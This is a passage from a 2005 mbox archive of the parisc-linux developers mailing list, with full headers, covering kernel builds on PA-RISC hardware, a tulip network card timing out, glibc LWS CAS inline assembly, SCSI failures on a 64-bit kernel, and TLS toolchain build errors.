  by mx0.gmx.net (mx017) with SMTP; 19 Apr 2005 23:06:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4DBB7D633;
	Tue, 19 Apr 2005 15:06:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02073-06; Tue, 19 Apr 2005 15:06:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E4FD7D635;
	Tue, 19 Apr 2005 15:06:22 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A6C187D630
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Apr 2005 15:06:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02167-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Apr 2005 15:06:17 -0600 (MDT)
Original-Received: from b.mail.sonic.net (b.mail.sonic.net [64.142.19.5])
	by free.linux.hp.com (Postfix) with ESMTP id 24A1B7D62E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Apr 2005 15:06:17 -0600 (MDT)
Original-Received: from webmail.sonic.net (a.webmail.sonic.net [64.142.100.132])
	by b.mail.sonic.net (8.13.3/8.13.3) with ESMTP id j3JL6Fl7001017
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 19 Apr 2005 14:06:15 -0700
Original-Received: from 64.142.78.25 (SquirrelMail authenticated user kmh)
	by webmail.sonic.net with HTTP; Tue, 19 Apr 2005 14:06:15 -0700 (PDT)
User-Agent: SquirrelMail/1.4.4
X-Priority: 3 (Normal)
Importance: Normal
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: hBcXYvtBeSE57L6WZHQhaXN2IGRvbwCb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22622

> Can you try a prebuilt a500 kernel? Something from
> http://cvs.parisc-linux.org/download/linux-2.6/

Thanks for your reply - I did try the 64smp flavor of the 2.4.22 kernel on
cvs.p-l.org, and that worked.

> If you want to build it from source, I would suggest that you:
> - upgrade to "testing" from woody
> - install gcc-3.3-hppa64 and binutils-hppa64 (from Debian, not
>  from unofficial-debs)
> - Get the sources from

If at all possible, I'd like the system to stay on woody, since it's going
to be a server. I did install the gcc and binutils testing Debian
packages, and tried to compile the 2.6.11-pa2 kernel from cvs.p-l.org, and
got that to work with 64-bit and smp as well.

So, thanks again for the tips!

   Kai Holthaus
   kmh.AT.sonic.net

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anders <dizzey@ing.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] k-class and j3514A (tulip dual 100mbit tulip)
Date: Wed, 20 Apr 2005 16:38:50 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20050420143849.GB30984@ing.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623755 13897 80.91.229.3 (22 Nov 2014 02:35:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Apr 2005 14:39:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 20 Apr 2005 16:39:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 61FE67D65C;
	Wed, 20 Apr 2005 08:39:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06984-06; Wed, 20 Apr 2005 08:39:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 755667D65D;
	Wed, 20 Apr 2005 08:39:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD90A7D65B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Apr 2005 08:39:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06984-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Apr 2005 08:39:10 -0600 (MDT)
Original-Received: from tyra.ing.umu.se (tyra.ing.umu.se [130.239.117.83])
	by free.linux.hp.com (Postfix) with ESMTP id 53B647D65A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Apr 2005 08:39:10 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by tyra.ing.umu.se (Postfix) with ESMTP id AD32084D24
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Apr 2005 16:39:00 +0200 (CEST)
Original-Received: from tyra.ing.umu.se ([127.0.0.1])
	by localhost (tyra.ing.umu.se [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id 30623-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 20 Apr 2005 16:38:50 +0200 (CEST)
Original-Received: by tyra.ing.umu.se (Postfix, from userid 1000)
	id 2350284C6A; Wed, 20 Apr 2005 16:38:50 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new at ing.umu.se
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8AwUYkkueSE57L6WZHQhaXN2IGRvb8CV
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22623

now im back and have almost everything working in my k460.
except the tulip dual 100mbit dino card.
i have tried the card with linux-2.6.9-bk6-pa7 and linux-2.6.12-rc2-pa3
with the same results it finds the card fine

Linux Tulip driver version 1.1.13 (December 15, 2004)
tulip0:  MII transceiver #1 config 3100 status 7849 advertising 01e1.
eth1: Digital DS21140 Tulip rev 34 at 80000080, 00:30:6E:27:99:EC, IRQ 
20.
tulip1:  MII transceiver #1 config 3100 status 786b advertising 01e1.
eth2: Digital DS21140 Tulip rev 34 at 80000100, 00:30:6E:27:99:ED, IRQ 
21.

but when i try to ping something it gives me
Dino 0xf1000000: stuck interrupt 2
Dino 0xf1000000: stuck interrupt 6

and then 

NETDEV WATCHDOG: eth0: transmit timed out
NETDEV WATCHDOG: eth0: transmit timed out
NETDEV WATCHDOG: eth0: transmit timed out

i can use the  mii-tool to change link status and have veriffied that it 
works on the switch that im using.

i have tried it as a module and in kernel and i have tried every 
combination of the options for  "DECchip Tulip (dc2114x) PCI support"
in menuconfig but it dosent make any diffrence i have tried placing the 
card in other slots in the system to.

here is a complete dmesg with linux-2.6.12-rc2-pa3

http://www.ing.umu.se/~dizzey/dmesg_k460.log 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RC] Integrate LWS CAS into hppa-linux glibc.
Date: Fri, 15 Apr 2005 17:46:40 -0400 (EDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <200504152146.j3FLkfx8026005@hiauly1.hia.nrc.ca>
References: <20050415165859.GC26980@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623756 13908 80.91.229.3 (22 Nov 2014 02:35:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 21:47:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx055) with SMTP; 15 Apr 2005 23:47:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 317FF7D6D4;
	Fri, 15 Apr 2005 15:47:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07780-08; Fri, 15 Apr 2005 15:47:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9223B7D6D6;
	Fri, 15 Apr 2005 15:47:18 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 571E67D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 15:47:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07764-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 15:47:13 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id BFF117D6D0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 15:47:13 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j3FLkfhF026006; Fri, 15 Apr 2005 17:46:41 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j3FLkfx8026005;
	Fri, 15 Apr 2005 17:46:41 -0400 (EDT)
In-Reply-To: <20050415165859.GC26980@baldric.uwo.ca> from "Carlos O'Donell" at
	Apr 15, 2005 12:58:59 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 97RHapq4Li5dVvfRZWtpcmZkZml1ZFiJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22624

> 	"stw    %%r28, %0\n\t"						\
> 	"stw    %%r21, %1\n\t"						\
> 	: "=m" (retval), "=m" (error)					\
>         : "r" (lwsnum), "r" (in0), "r" (in1), "r" (in2)			\

Do retval and error need to be in memory (i.e., do we need the two
stores)?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] D380: ccio-dma issue for 64bit kernel?
Date: Fri, 15 Apr 2005 11:44:11 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <420889870001AEAE@mail-4-bnl.tiscali.it>
References: <42134E6200017045@mail-2-bnl.tiscali.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623756 13916 80.91.229.3 (22 Nov 2014 02:35:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:56 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 09:44:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 15 Apr 2005 11:44:31 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 62C197D671;
	Fri, 15 Apr 2005 03:44:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32202-05; Fri, 15 Apr 2005 03:44:24 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D2BB7D662;
	Fri, 15 Apr 2005 03:44:23 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 521C87D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 03:44:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31854-10 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 03:44:18 -0600 (MDT)
Original-Received: from mrqout1.tiscali.it (mrqout1.tiscali.it [195.130.225.11])
	by free.linux.hp.com (Postfix) with ESMTP id 7DD0E7D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 03:44:18 -0600 (MDT)
Original-Received: from mail-4-bnl.mail.tiscali.sys ([10.39.115.134]
	helo=mail-4-bnl.tiscali.it)
	by mrqout1.tiscali.it with esmtp (Exim 4.43)
	id 1DMNMz-0008Tq-6T; Fri, 15 Apr 2005 11:44:15 +0200
Original-Received: from [57.67.177.33] by mail-4-bnl.tiscali.it with HTTP;
	Fri, 15 Apr 2005 11:44:11 +0200
In-Reply-To: <42134E6200017045@mail-2-bnl.tiscali.it>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8rRWddpmbGIOB6aDYmRncHVgcmZ1Ztze
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22625


> > On Thu, 2005-04-14 at 14:39 +0200, Joel Soete wrote:
> > > wax at 0xffffffffffe00000 found.
> > > Wax EISA Adapter found at 0xfffffffffc000000
> > > Enumerating EISA bus
> > >
> > > Any idea?
> >
> > Yes, disable EISA ... EISA is toxic to 64 bit kernels.
> >
> Ah ok (I haven't any EISA card just 4 gsc one :-) )
> 
well another pb: system hung after:
...
LASI 82596 driver - Revision: 1.30
Found i82596 at 0xffffffffffd07000, IRQ 18
eth0: 82596 at 0xffffffffffd07000, 00 00 00 00 08 00 IRQ 18.
zalon_probe: Zalon version 1, IRQ 66
ncr53c720-0: rev 0xf irq 66
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3g
scsi: Device offlined - not ready after error recovery: host 0 channel 0
id 0 lu
n 0
scsi: Device offlined - not ready after error recovery: host 0 channel 0
id 5 lu
n 0

while usualy with 32bit it find well:
...
scsi0 : ncr53c8xx-3.4.3g
  Vendor: SEAGATE   Model: ST39173WC         Rev: HP11
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:5: Beginning Domain Validation
 target0:0:5: asynchronous.
 target0:0:5: wide asynchronous.
 target0:0:5: Domain Validation skipping write tests
 target0:0:5: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
 target0:0:5: Ending Domain Validation
  Vendor: SEAGATE   Model: ST39236LC         Rev: HP02
  Type:   Direct-Access                      ANSI SCSI revision: 03
 target0:0:8: Beginning Domain Validation
 target0:0:8: asynchronous.
 target0:0:8: wide asynchronous.
 target0:0:8: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
 target0:0:8: Ending Domain Validation
  Vendor: SEAGATE   Model: ST32550W          Rev: HP12
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:9: Beginning Domain Validation
 target0:0:9: asynchronous.
 target0:0:9: wide asynchronous.
 target0:0:9: Domain Validation skipping write tests
 target0:0:9: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
 target0:0:9: Ending Domain Validation
  Vendor: SEAGATE   Model: ST32550W          Rev: HP12
  Type:   Direct-Access                      ANSI SCSI revision: 02
 target0:0:10: Beginning Domain Validation
 target0:0:10: asynchronous.
 target0:0:10: wide asynchronous.
 target0:0:10: Domain Validation skipping write tests
 target0:0:10: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
 target0:0:10: Ending Domain Validation
...

Thanks again,
    Joel


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] More from the TLS glibc front.
Date: Fri, 15 Apr 2005 12:30:06 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20050415163006.GA26980@baldric.uwo.ca>
References: <20050409050558.GL1833@baldric.uwo.ca>
	<20050410104403.GK6987@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623756 13924 80.91.229.3 (22 Nov 2014 02:35:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:19 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Apr 2005 17:30:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx015) with SMTP; 15 Apr 2005 19:30:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DA7C67D6CD;
	Fri, 15 Apr 2005 11:30:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05691-08; Fri, 15 Apr 2005 11:30:14 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 57D417D6D0;
	Fri, 15 Apr 2005 11:30:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6F9827D6C9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 11:30:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05746-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 11:30:10 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id EEF557D6C1
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 15 Apr 2005 11:30:09 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DMThm-0000zw-00; Fri, 15 Apr 2005 12:30:06 -0400
Content-Disposition: inline
In-Reply-To: <20050410104403.GK6987@tausq.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (38% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9LBUc8Z3bUkSSOnGPWgnbnJjZ2hlNwpB
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22626

On Sun, Apr 10, 2005 at 03:44:03AM -0700, Randolph Chung wrote:
> I'm using:
> binutils CVS HEAD (20050409)
> gcc-4.0-20050402 (ftp'ed)
> glibc CVS HEAD (20050409)
> 
> First of all, the patches seem to be out of date. I've updated the
> binutils and gcc ones.
> 
> http://www.parisc-linux.org/~tausq/hppa-tls-gcc.diff
> http://www.parisc-linux.org/~tausq/hppa-tls-binutils.diff
> 
> I find some other issues with the glibc build. Carlos, a few of your
> patches are malformed. They have CVS conflict markers in them.. :)
> 
> Right now my build fails when building tst-tlsmod14a.c with a gcc ICE. I
> think my gcc patches are broken (no surprise there...)

Woah, wait a second. You have a working build? You got to atleast the
check phase if you are building the tests. Are you sure your build made
it all the way through?

How did you fix this:
/mnt/flaire/src/tls-toolchain/install/bin/../lib/gcc/hppa-linux/3.4.3/../../../../hppa-linux/bin/ld:
__libc_errno: TLS definition in
/home/carlos/fsrc/tls-toolchain/build/libc/2005-04-08-hppa/libc_pic.a(errno.os)
section .tbss mismatches non-TLS reference in
/home/carlos/fsrc/tls-toolchain/build/libc/2005-04-08-hppa/libc_pic.a(getcwd.os)


c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pthread problems - test program
